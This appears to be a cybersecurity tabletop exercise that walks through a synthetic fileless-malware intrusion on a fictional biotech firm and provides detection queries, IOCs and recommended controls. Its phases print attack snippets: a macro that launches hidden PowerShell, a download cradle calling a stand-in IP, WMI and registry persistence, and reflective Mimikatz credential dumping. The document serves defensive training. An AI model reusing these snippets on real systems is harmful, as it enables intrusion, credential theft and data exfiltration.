SC-044: Fileless Malware Campaign¶
Scenario Header
Type: APT / Fileless Malware | Difficulty: ★★★★★ | Duration: 3–4 hours | Participants: 6–10
Threat Actor: Nation-state APT — fileless malware, in-memory operations, living-off-the-land
Primary ATT&CK Techniques: T1566.001 · T1059.001 · T1047 · T1547.001 · T1112 · T1003.001 · T1021.006 · T1041
Threat Actor Profile¶
PHANTOM CODE is a synthetic nation-state advanced persistent threat group targeting biotech and pharmaceutical research institutions. The group's distinguishing characteristic is a strict "nothing on disk" operational philosophy — every stage of their attack chain operates entirely in memory, using legitimate system tools (PowerShell, WMI, WinRM) and storing persistent payloads in the Windows Registry rather than the filesystem.
PHANTOM CODE's fileless approach is designed to evade:
- Signature-based antivirus: No malicious files on disk to scan
- File-based EDR detections: No new executables, DLLs, or scripts written to the filesystem
- Forensic analysis: Traditional disk forensics finds no artifacts — memory forensics is required
- Application whitelisting: All execution occurs through trusted system binaries (LOLBins)
The group operates in campaigns lasting 3–6 months, maintaining persistent access through registry-stored payloads that are loaded into memory by legitimate Windows processes at startup.
Motivation: Strategic intelligence collection — theft of biotech research data including drug formulations, clinical trial data, gene therapy research, and proprietary laboratory processes.
Public Research Context
This scenario is informed by publicly documented fileless malware campaigns:
- Kovter (2015–2018): Click-fraud malware that stored its entire payload in the Windows Registry — no files on disk — persisted via registry run keys
- PowerGhost (2018): Fileless cryptominer spread via WMI and EternalBlue — used PowerShell and WMI for persistence and lateral movement
- Astaroth/Guildma (2019–2020): Brazilian banking trojan using LOLBins (BITSAdmin, certutil, mshta) — entirely fileless execution chain
- HAFNIUM/ProxyLogon (2021): Used web shells that loaded payloads into memory — some variants stored encrypted payloads in the registry
- Microsoft Threat Intelligence (2023): Reports indicate 40%+ of enterprise attacks now use fileless or living-off-the-land techniques
All technical details in this scenario are synthetic. No real biotech research data or infrastructure is used.
Scenario Narrative¶
Phase 1 — Spear Phishing & Initial PowerShell Cradle (~30 min)¶
Citadel Research Institute (CRI) is a synthetic biotech research firm with 800 employees, conducting research in gene therapy, mRNA vaccine development, and personalized medicine. CRI operates a Windows-dominant environment with Active Directory, Microsoft 365, and a mix of on-premises and Azure cloud infrastructure. Their research data is stored on on-premises file servers and in Azure Blob Storage.
PHANTOM CODE targets CRI after identifying it through open-source intelligence as a leader in gene therapy research. The attack begins with a highly targeted spear phishing email sent to Dr. James Okoro, Director of Gene Therapy Research:
Subject: "Nature Biotechnology — Reviewer Invitation: Gene Therapy Efficacy Meta-Analysis" Sender:
editorial@nature-biotech-review.example.comAttachment:NatureBiotech_ReviewerPacket_2026.docm(macro-enabled Word document)
The document contains a VBA macro that executes a PowerShell download cradle. The macro is obfuscated using string concatenation and environment variable abuse to evade static analysis:
' Synthetic VBA — educational representation only
' DO NOT use in any real environment
Sub AutoOpen()
Dim cmd As String
cmd = "pow" & "ersh" & "ell -nop -w hidden -enc "
cmd = cmd & "[Base64EncodedPayload]"
Shell cmd, vbHide
End Sub
The PowerShell download cradle retrieves a second-stage PowerShell script from 198.51.100.120 and executes it entirely in memory — nothing is written to disk:
# Synthetic — educational representation only
# Stage 1: Download cradle (runs in memory)
IEX (New-Object Net.WebClient).DownloadString('https://198.51.100.120/update.ps1')
# Stage 2: update.ps1 (runs in memory, never saved to disk)
# - Disables AMSI (Antimalware Scan Interface) via memory patching
# - Loads reflective DLL into current PowerShell process
# - Establishes WMI-based persistence
# - Begins C2 communication via HTTPS to 203.0.113.200
The key characteristic of this attack: at no point does a malicious file touch the disk. The VBA macro launches PowerShell, which downloads and executes code in memory. The Word document itself is the only file — and macros are a legitimate (if risky) feature of Office documents.
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| Email Gateway | Inbound from editorial@nature-biotech-review.example.com — DMARC: PASS (attacker owns domain) — Attachment: NatureBiotech_ReviewerPacket_2026.docm — 2026-02-10T09:45:00Z |
| Endpoint (EDR) | Process chain: WINWORD.EXE → cmd.exe → powershell.exe -nop -w hidden -enc ... — Host: CRI-RES-JOKORO — User: j.okoro — PID: 4892 — 2026-02-10T09:47:33Z |
| Endpoint (EDR) | AMSI bypass detected: AmsiScanBuffer function patched in memory — Process: powershell.exe (PID 4892) — 2026-02-10T09:47:35Z — Alert generated: "AMSI Tampering" — Severity: Medium |
| Endpoint (EDR) | Network connection: powershell.exe (PID 4892) → 198.51.100.120:443 — HTTPS — Downloaded: ~45KB (in-memory script) — 2026-02-10T09:47:36Z |
| Endpoint (EDR) | Network connection: powershell.exe (PID 4892) → 203.0.113.200:443 — HTTPS — C2 beacon established — 2026-02-10T09:47:40Z |
| Endpoint (AV) | No malware detected — no files on disk to scan |
Phase 1 — Discussion Inject
Technical: The antivirus reports no malware because no malicious files exist on disk. The EDR detected the AMSI bypass but classified it as "Medium" severity. How should organizations tune their detection priorities for fileless attack indicators? Should AMSI tampering always be treated as critical?
Decision: CRI allows macro-enabled Office documents because researchers frequently use Excel macros for data analysis. Blocking macros entirely would disrupt research workflows. What compensating controls can mitigate macro-based attacks without blocking macros entirely? Consider: ASR rules, macro signing, Protected View, and sandbox detonation.
Expected Analyst Actions: - [ ] Investigate the AMSI tampering alert — this is a strong indicator of in-memory malware - [ ] Analyze the PowerShell process — examine command-line arguments and network connections - [ ] Check for HTTPS connections to 198.51.100.120 and 203.0.113.200 from any host - [ ] Examine the macro-enabled document in a sandbox — capture the PowerShell download cradle - [ ] Determine if other recipients received the phishing email
Phase 2 — WMI Persistence & Registry-Stored Payload (~35 min)¶
PHANTOM CODE establishes persistence using two complementary fileless techniques: WMI event subscriptions and registry-stored payloads.
Persistence Mechanism 1 — WMI Event Subscription:
The attacker creates a WMI event subscription that triggers a PowerShell command every time the system starts. This is a permanent WMI event subscription (survives reboots) that requires no files on disk:
# Synthetic — educational representation only
# WMI event subscription for persistence
# Event Filter: triggers on system startup
$Filter = Set-WmiInstance -Namespace "root\subscription" `
-Class __EventFilter -Arguments @{
Name = "SystemCoreUpdateFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Event Consumer: executes PowerShell to load payload from registry
$Consumer = Set-WmiInstance -Namespace "root\subscription" `
-Class CommandLineEventConsumer -Arguments @{
Name = "SystemCoreUpdateConsumer"
CommandLineTemplate = "powershell.exe -nop -w hidden -c `"IEX ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate' -Name 'UpdatePayload').UpdatePayload)))`""
}
Persistence Mechanism 2 — Registry-Stored Payload:
The actual malware payload (a PowerShell script) is base64-encoded and stored in a registry value. The registry key is chosen to blend in with legitimate Windows certificate update entries:
Registry Key: HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Value Name: UpdatePayload
Value Type: REG_SZ
Value Data: [Base64-encoded PowerShell payload — approximately 120KB]
When the WMI event triggers (system startup), it reads the registry value, base64-decodes it, and executes the PowerShell payload entirely in memory. The payload:
- Patches AMSI to prevent PowerShell script scanning
- Loads a reflective C# assembly into the PowerShell process (in-memory .NET execution)
- Establishes HTTPS C2 to
203.0.113.200with encrypted beacon traffic - Implements keylogging, screenshot capture, and file enumeration capabilities
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| Endpoint (EDR) | WMI event subscription created: SystemCoreUpdateFilter / SystemCoreUpdateConsumer — Namespace: root\subscription — Host: CRI-RES-JOKORO — 2026-02-10T09:48:15Z |
| Endpoint (EDR) | Registry modification: HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate\UpdatePayload — Value size: 121,344 bytes — Host: CRI-RES-JOKORO — 2026-02-10T09:48:20Z |
| Endpoint (EDR) | After reboot — Process: WmiPrvSE.exe → powershell.exe -nop -w hidden -c "IEX..." — confirming WMI persistence activation — 2026-02-11T08:02:14Z |
| Endpoint (Sysmon) | Event ID 1 (Process Create): powershell.exe spawned by WmiPrvSE.exe — unusual parent process for PowerShell — 2026-02-11T08:02:14Z |
| Endpoint (Sysmon) | Event ID 13 (Registry Value Set): HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate\UpdatePayload — 121KB REG_SZ value — anomalously large for this key |
| Disk Forensics | No malicious files found on disk — traditional forensic triage finds no IOCs — registry and WMI repository are the only artifacts |
Phase 2 — Discussion Inject
Technical: The persistence mechanism stores a 121KB base64-encoded payload in a registry value under SystemCertificates\AuthRoot\AutoUpdate. What registry monitoring rules would detect this? Consider: registry value size anomalies, monitoring of persistence-related registry keys, and Sysmon Event ID 13 rules.
Decision: Traditional disk forensics finds nothing — no malicious files, no suspicious executables. A junior forensic analyst might conclude "clean system." What forensic methodology should be followed for suspected fileless malware? How should memory forensics (Volatility, WinDbg) be integrated into the standard IR workflow?
Expected Analyst Actions: - [ ] Examine WMI repository for permanent event subscriptions — any subscription triggering PowerShell is suspicious - [ ] Dump and analyze the registry payload from HKLM\...\AuthRoot\AutoUpdate\UpdatePayload - [ ] Capture a memory dump of the compromised system for volatility analysis - [ ] Check Sysmon logs for WmiPrvSE.exe spawning powershell.exe — this is an unusual process relationship - [ ] Search all endpoints for similar WMI subscriptions and registry anomalies
Phase 3 — In-Memory Credential Harvesting & Lateral Movement (~35 min)¶
Operating entirely in memory, PHANTOM CODE harvests credentials and moves laterally using only built-in Windows tools.
Credential Harvesting — In-Memory Mimikatz:
The attacker loads a reflective version of Mimikatz directly into the PowerShell process memory. No DLL is written to disk — the entire tool runs as a .NET assembly loaded via System.Reflection.Assembly.Load():
# Synthetic — educational representation only
# Reflective Mimikatz loading (in-memory, no disk artifact)
$bytes = [Convert]::FromBase64String($encodedMimikatz)
$assembly = [System.Reflection.Assembly]::Load($bytes)
$assembly.GetType("Mimikatz.Program").GetMethod("Main").Invoke($null, @(,"sekurlsa::logonpasswords"))
Harvested credentials from CRI-RES-JOKORO:
| Account | Type | Context |
|---|---|---|
j.okoro | NTLM hash | Current user — domain user with research file access |
svc-backup | NTLM hash | Service account — member of Backup Operators group |
admin-ws | NTLM hash | Local admin — shared local admin password across workstations |
CRI-RES-JOKORO$ | Machine account hash | Computer account — usable for silver ticket attacks |
Lateral Movement — WinRM (PowerShell Remoting):
Using the harvested admin-ws credentials (shared local admin), PHANTOM CODE moves laterally to 5 additional research workstations via WinRM. WinRM is a legitimate Windows management protocol and is enabled by default on domain-joined workstations:
# Synthetic — educational representation only
# Lateral movement via WinRM (legitimate Windows tool)
$cred = New-Object PSCredential("admin-ws", $securePassword)
Invoke-Command -ComputerName "CRI-RES-MCHEN" -Credential $cred -ScriptBlock {
# Load payload from registry of source machine via SMB, execute in memory
IEX ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(
(Get-ItemProperty -Path '\\CRI-RES-JOKORO\C$\...\AutoUpdate' -Name 'UpdatePayload').UpdatePayload
)))
}
Compromised hosts after lateral movement:
| Host | User | Role | Key Data Access |
|---|---|---|---|
CRI-RES-JOKORO | j.okoro | Gene Therapy Director | Research proposals, grant applications |
CRI-RES-MCHEN | m.chen | Senior Researcher | Gene therapy experimental data |
CRI-RES-ASINGH | a.singh | Lab Manager | Lab protocols, compound formulations |
CRI-RES-KLEE | k.lee | Data Scientist | ML models for drug discovery |
CRI-RES-BWILSON | b.wilson | Clinical Trial Coordinator | Clinical trial data, patient outcomes |
CRI-FS01 | svc-backup | File Server | Central research file repository |
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| Endpoint (EDR) | In-memory .NET assembly loaded: System.Reflection.Assembly.Load() — Size: 890KB — Process: powershell.exe (PID 4892) — No corresponding DLL on disk — 2026-02-12T02:30:00Z |
| Endpoint (EDR) | LSASS memory access: powershell.exe (PID 4892) opened handle to lsass.exe — Access mask: 0x1010 (PROCESS_QUERY_INFORMATION + PROCESS_VM_READ) — Alert: "LSASS Memory Access" — Severity: High |
| Windows Event Log | Event ID 4624 (Logon): Type 3 (Network) — Account: admin-ws — Source: CRI-RES-JOKORO (10.10.5.42) — Target: CRI-RES-MCHEN (10.10.5.43) — Logon Process: NtLmSsp — 2026-02-12T03:15:00Z |
| Windows Event Log | Event ID 4688 (Process Create): wsmprovhost.exe → powershell.exe — Host: CRI-RES-MCHEN — Account: admin-ws — 2026-02-12T03:15:05Z — WinRM PowerShell remoting session |
| Endpoint (EDR) | WinRM sessions established from CRI-RES-JOKORO to 5 hosts between 2026-02-12T03:15:00Z and 2026-02-12T04:00:00Z — all using admin-ws credentials |
| Active Directory | admin-ws account — local admin — authenticated to 6 workstations in 45 minutes — normal baseline: 0–1 workstations per day — UEBA alert not triggered (local account, not domain monitored) |
Phase 3 — Discussion Inject
Technical: The attacker uses a shared local admin password (admin-ws) to move laterally via WinRM. What controls prevent lateral movement using shared local admin credentials? Consider: LAPS (Local Admin Password Solution), Windows Credential Guard, network logon restrictions for local accounts, and SMB signing.
Decision: The LSASS memory access alert was generated with "High" severity. However, some legitimate security tools (AV, EDR agents) also access LSASS memory. How do you create an allowlist for legitimate LSASS access without creating blind spots for attackers?
Expected Analyst Actions: - [ ] Investigate the LSASS memory access alert — correlate with the AMSI tampering alert from Phase 1 - [ ] Analyze WinRM authentication logs — admin-ws authenticating to 6 hosts in 45 minutes is anomalous - [ ] Check if admin-ws has the same password across all workstations (LAPS not deployed) - [ ] Capture memory dumps of compromised hosts — fileless malware requires memory forensics - [ ] Isolate all 6 compromised hosts from the network - [ ] Reset credentials for all harvested accounts (j.okoro, svc-backup, admin-ws)
Phase 4 — Data Exfiltration via Encrypted HTTPS (~25 min)¶
PHANTOM CODE exfiltrates research data using HTTPS to blend with legitimate web traffic. The exfiltration tool is a PowerShell function loaded in memory that:
- Reads target files from the file server (
CRI-FS01) - Compresses and encrypts the data using AES-256 (key embedded in the in-memory payload)
- Splits the encrypted data into 512KB chunks
- Uploads chunks via HTTPS POST to
203.0.113.200/api/telemetry/upload— designed to look like application telemetry
Target data identified and exfiltrated:
| Data | Size | Location | Value |
|---|---|---|---|
| Gene therapy research papers (unpublished) | 340MB | \\CRI-FS01\research$\gene-therapy\ | Pre-publication research — competitive intelligence |
| Drug compound formulations | 120MB | \\CRI-FS01\research$\compounds\ | Proprietary formulations — trade secrets |
| Clinical trial dataset (anonymized) | 890MB | \\CRI-FS01\clinical$\trials-2025\ | Phase II trial outcomes — regulatory value |
| ML drug discovery models | 2.1GB | \\CRI-FS01\data-science$\models\ | Trained ML models — years of R&D investment |
| Grant applications (pending) | 45MB | \\CRI-FS01\admin$\grants\ | Research strategy and future directions |
Total data exfiltrated: 3.5GB (compressed and encrypted to 1.8GB), transmitted over 14 days at approximately 130MB/day to avoid bandwidth anomaly alerts.
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| Network Flow | HTTPS POST traffic: CRI-RES-JOKORO → 203.0.113.200:443 — 1.8GB over 14 days — Average: 130MB/day — 2026-02-14 to 2026-02-28 |
| Network Flow | Traffic pattern: uploads occur between 11PM–4AM — outside normal business hours — CRI-RES-JOKORO is a workstation, not a server |
| Proxy Logs | HTTPS connections to 203.0.113.200 — TLS 1.3 — SNI: telemetry-api.example.com — Certificate: Let's Encrypt — Domain age: 18 days |
| File Server Audit | svc-backup account accessed 2,847 files across research$, clinical$, data-science$, and admin$ — Normal backup activity for this account is via Veeam agent, not SMB file access — 2026-02-13 to 2026-02-14 |
| Endpoint (EDR) | powershell.exe performing HTTPS uploads at 2:00 AM — 512KB chunks — repeated nightly — Host: CRI-RES-JOKORO — 2026-02-14 onward |
| Network (IDS) | No alerts — traffic is encrypted HTTPS to a domain with a valid certificate — encrypted exfiltration is invisible to signature-based IDS |
Phase 4 — Discussion Inject
Technical: The exfiltration uses HTTPS with TLS 1.3 and a valid Let's Encrypt certificate. The IDS cannot inspect the encrypted traffic. What network security controls can detect encrypted exfiltration? Consider: TLS inspection (SSL decryption), JA3/JA3S fingerprinting, certificate transparency monitoring, domain age analysis, and NetFlow anomaly detection.
Decision: The attacker exfiltrated 3.5GB of research data over 14 days. The total financial impact (years of R&D, competitive advantage lost, potential regulatory penalties for clinical data exposure) could exceed $50 million. CRI had no DLP solution for endpoints or network egress. What is the business case for deploying DLP in a research environment where data sharing is a core workflow?
Expected Analyst Actions: - [ ] Block outbound traffic to 203.0.113.200 at the firewall and proxy - [ ] Analyze proxy logs for domain telemetry-api.example.com — check domain age (18 days is suspicious) - [ ] Investigate after-hours HTTPS uploads from workstations — this is anomalous for endpoints - [ ] Assess total data exposure — identify all files accessed by compromised accounts - [ ] Engage legal counsel for regulatory notification (clinical trial data may contain PHI) - [ ] Preserve memory dumps and volatile evidence before remediation
Detection & Hunting¶
KQL Detection Queries¶
// Detect PowerShell spawned by WmiPrvSE (WMI persistence execution)
DeviceProcessEvents
| where TimeGenerated > ago(24h)
| where InitiatingProcessFileName =~ "WmiPrvSE.exe"
| where FileName =~ "powershell.exe" or FileName =~ "pwsh.exe"
| project TimeGenerated, DeviceName, InitiatingProcessFileName,
FileName, ProcessCommandLine, AccountName
// Detect AMSI bypass attempts
DeviceEvents
| where TimeGenerated > ago(24h)
| where ActionType == "AmsiUninitialize" or ActionType == "TamperingAttempt"
| where AdditionalFields has "AmsiScanBuffer" or AdditionalFields has "amsi.dll"
| project TimeGenerated, DeviceName, ActionType, FileName, AccountName
// Detect registry-stored payloads — large REG_SZ values in suspicious keys
DeviceRegistryEvents
| where TimeGenerated > ago(7d)
| where ActionType == "RegistryValueSet"
| where RegistryKey has "SystemCertificates" or RegistryKey has "CurrentVersion\\Run"
| where RegistryValueType == "String" or RegistryValueType == "ExpandString"
| extend ValueSize = strlen(RegistryValueData)
| where ValueSize > 10000
| project TimeGenerated, DeviceName, RegistryKey, RegistryValueName, ValueSize, AccountName
// Detect LSASS memory access by PowerShell
DeviceProcessEvents
| where TimeGenerated > ago(24h)
| where FileName =~ "powershell.exe"
| join kind=inner (
DeviceEvents
| where ActionType == "OpenProcess"
| where AdditionalFields has "lsass"
) on DeviceId, TimeGenerated
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine, AccountName
// Detect WinRM lateral movement — multiple hosts in short time
DeviceLogonEvents
| where TimeGenerated > ago(24h)
| where LogonType == "Network"
| where InitiatingProcessFileName =~ "wsmprovhost.exe"
| summarize TargetHosts = dcount(DeviceName),
HostList = make_set(DeviceName) by AccountName, bin(TimeGenerated, 1h)
| where TargetHosts > 3
SPL Detection Queries¶
// Detect WMI persistence — PowerShell spawned by WmiPrvSE
index=edr sourcetype=process_create
| where parent_process_name="WmiPrvSE.exe" AND (process_name="powershell.exe" OR process_name="pwsh.exe")
| table _time, host, parent_process_name, process_name, command_line, user
// Detect large registry values (potential payload storage)
index=sysmon sourcetype=sysmon EventCode=13
| where TargetObject="*SystemCertificates*" OR TargetObject="*CurrentVersion\\Run*"
| eval value_len=len(Details)
| where value_len > 10000
| table _time, host, TargetObject, value_len, User
// Detect LSASS access by PowerShell
index=sysmon sourcetype=sysmon EventCode=10
| where TargetImage="*lsass.exe" AND SourceImage="*powershell.exe"
| table _time, host, SourceImage, TargetImage, GrantedAccess, User
// Detect WinRM lateral movement pattern
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3
| where Process_Name="*wsmprovhost*"
| bin _time span=1h
| stats dc(dest) as unique_targets, values(dest) as targets by src, Account_Name, _time
| where unique_targets > 3
| table _time, src, Account_Name, unique_targets, targets
// Detect after-hours HTTPS uploads from workstations
index=proxy sourcetype=proxy_logs action=POST
| eval hour=strftime(_time, "%H")
| where hour >= 23 OR hour <= 4
| stats sum(bytes_out) as total_upload, count as request_count by src_ip, dest_host
| where total_upload > 50000000
| sort -total_upload
Indicators of Compromise (IOCs)¶
Synthetic IOCs — For Training Only
All indicators below are synthetic and generated for educational purposes. Do not use in production detection systems.
| Type | Indicator | Context |
|---|---|---|
| IP Address | 198.51.100.120 | Stage 2 PowerShell payload hosting |
| IP Address | 203.0.113.200 | C2 server and exfiltration destination |
| Domain | nature-biotech-review.example.com | Phishing sender domain |
| Domain | telemetry-api.example.com | Exfiltration C2 — masquerades as telemetry endpoint |
editorial@nature-biotech-review.example.com | Phishing sender address | |
| File | NatureBiotech_ReviewerPacket_2026.docm | Phishing attachment (macro-enabled) |
| Registry Key | HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate\UpdatePayload | Registry-stored payload (121KB base64) |
| WMI | Event subscription: SystemCoreUpdateFilter / SystemCoreUpdateConsumer | WMI persistence mechanism |
| Process | WmiPrvSE.exe → powershell.exe | WMI-triggered PowerShell execution |
| Process | WINWORD.EXE → cmd.exe → powershell.exe -nop -w hidden -enc | Macro-to-PowerShell execution chain |
| Behavior | LSASS memory access from powershell.exe | In-memory credential harvesting |
| Behavior | WinRM authentication to >3 hosts within 1 hour using same local admin | Lateral movement pattern |
| Behavior | HTTPS POST uploads from workstation between 11PM–4AM | After-hours data exfiltration |
| Network | TLS 1.3 to domain aged <30 days with Let's Encrypt certificate | Suspicious C2/exfiltration infrastructure |
Full Attack Timeline¶
| Time | Event | ATT&CK ID |
|---|---|---|
| 2026-02-10 09:45 | Spear phishing email sent to Dr. James Okoro | T1566.001 |
| 2026-02-10 09:47 | VBA macro executes PowerShell download cradle | T1059.001 |
| 2026-02-10 09:47 | AMSI bypass — AmsiScanBuffer patched in memory | T1562.001 |
| 2026-02-10 09:47 | Stage 2 PowerShell payload downloaded and executed in memory | T1059.001 |
| 2026-02-10 09:48 | WMI event subscription persistence established | T1047 |
| 2026-02-10 09:48 | Payload stored in registry (121KB base64) | T1112 |
| 2026-02-10 09:48 | HTTPS C2 channel established to 203.0.113.200 | T1071.001 |
| 2026-02-11 08:02 | WMI persistence activates after reboot — confirms persistence | T1547.001 |
| 2026-02-12 02:30 | In-memory Mimikatz — credential harvesting from LSASS | T1003.001 |
| 2026-02-12 03:15 | Lateral movement via WinRM to 5 workstations | T1021.006 |
| 2026-02-13–02-14 | File server reconnaissance — 2,847 files enumerated | T1083 |
| 2026-02-14–02-28 | Data exfiltration via HTTPS — 3.5GB over 14 days | T1041 |
| 2026-03-01 | Anomaly detected: after-hours HTTPS uploads from workstation by threat hunting team | — |
| 2026-03-01 | Incident response initiated — memory forensics ordered | — |
Lessons Learned¶
Critical Failures¶
-
No memory-based detection capability: CRI's antivirus was entirely file-based. Fileless malware operating in memory was invisible. Organizations need EDR solutions with memory scanning, AMSI integration, and behavioral detection — not just file signature matching.
-
Shared local admin passwords: All workstations used the same local admin password (
admin-ws). Compromising one hash gave the attacker access to all workstations. LAPS (Local Admin Password Solution) would have assigned unique passwords to each workstation. -
WMI persistence not monitored: WMI event subscriptions are a well-known persistence mechanism but CRI had no monitoring for WMI repository changes. Sysmon with appropriate configuration would have detected this.
-
No registry anomaly detection: A 121KB value stored in a certificate-related registry key is highly anomalous but went undetected. Registry monitoring rules should flag unusually large values in sensitive keys.
-
Macro-enabled documents allowed without controls: Macro-enabled Office documents were permitted without additional controls (no ASR rules, no macro signing, no sandboxing). Attack Surface Reduction rules for Office macro child processes would have blocked the initial execution chain.
-
No TLS inspection: Encrypted HTTPS exfiltration was invisible to the IDS. Without TLS inspection, organizations cannot detect data exfiltration, C2 communication, or malicious downloads within encrypted traffic.
Recommended Controls¶
| Control | Priority | ATT&CK Mitigation |
|---|---|---|
| Deploy EDR with memory scanning, AMSI integration, and behavioral detection | Critical | M1049 |
| Enable ASR rules: Block Office applications from creating child processes | Critical | M1040 |
| Deploy LAPS — unique local admin passwords per workstation | Critical | M1027 |
| Monitor WMI event subscriptions — alert on any new permanent subscriptions | Critical | M1031 |
| Monitor registry for large values in persistence-related keys | Critical | M1031 |
| Implement Credential Guard to protect LSASS process memory | High | M1043 |
| Deploy TLS inspection at network egress for encrypted traffic visibility | High | M1020 |
| Restrict WinRM access — limit remote PowerShell to administrative jump servers | High | M1030 |
| Implement macro signing — only allow macros signed by trusted publishers | High | M1040 |
| Deploy UEBA for after-hours network activity from workstations | Medium | M1018 |
| Conduct purple team exercise: fileless malware detection and memory forensics | Medium | — |
| Implement JA3/JA3S fingerprinting for TLS traffic anomaly detection | Medium | M1031 |
Cross-References¶
- Chapter 18: Malware Analysis — Fileless malware techniques, memory forensics, and behavioral analysis
- Chapter 38: Threat Hunting Advanced — Hunting for LOLBins, PowerShell abuse, and WMI persistence
- Chapter 48: Exploit Development Concepts — In-memory execution, reflective DLL injection, and AMSI bypass techniques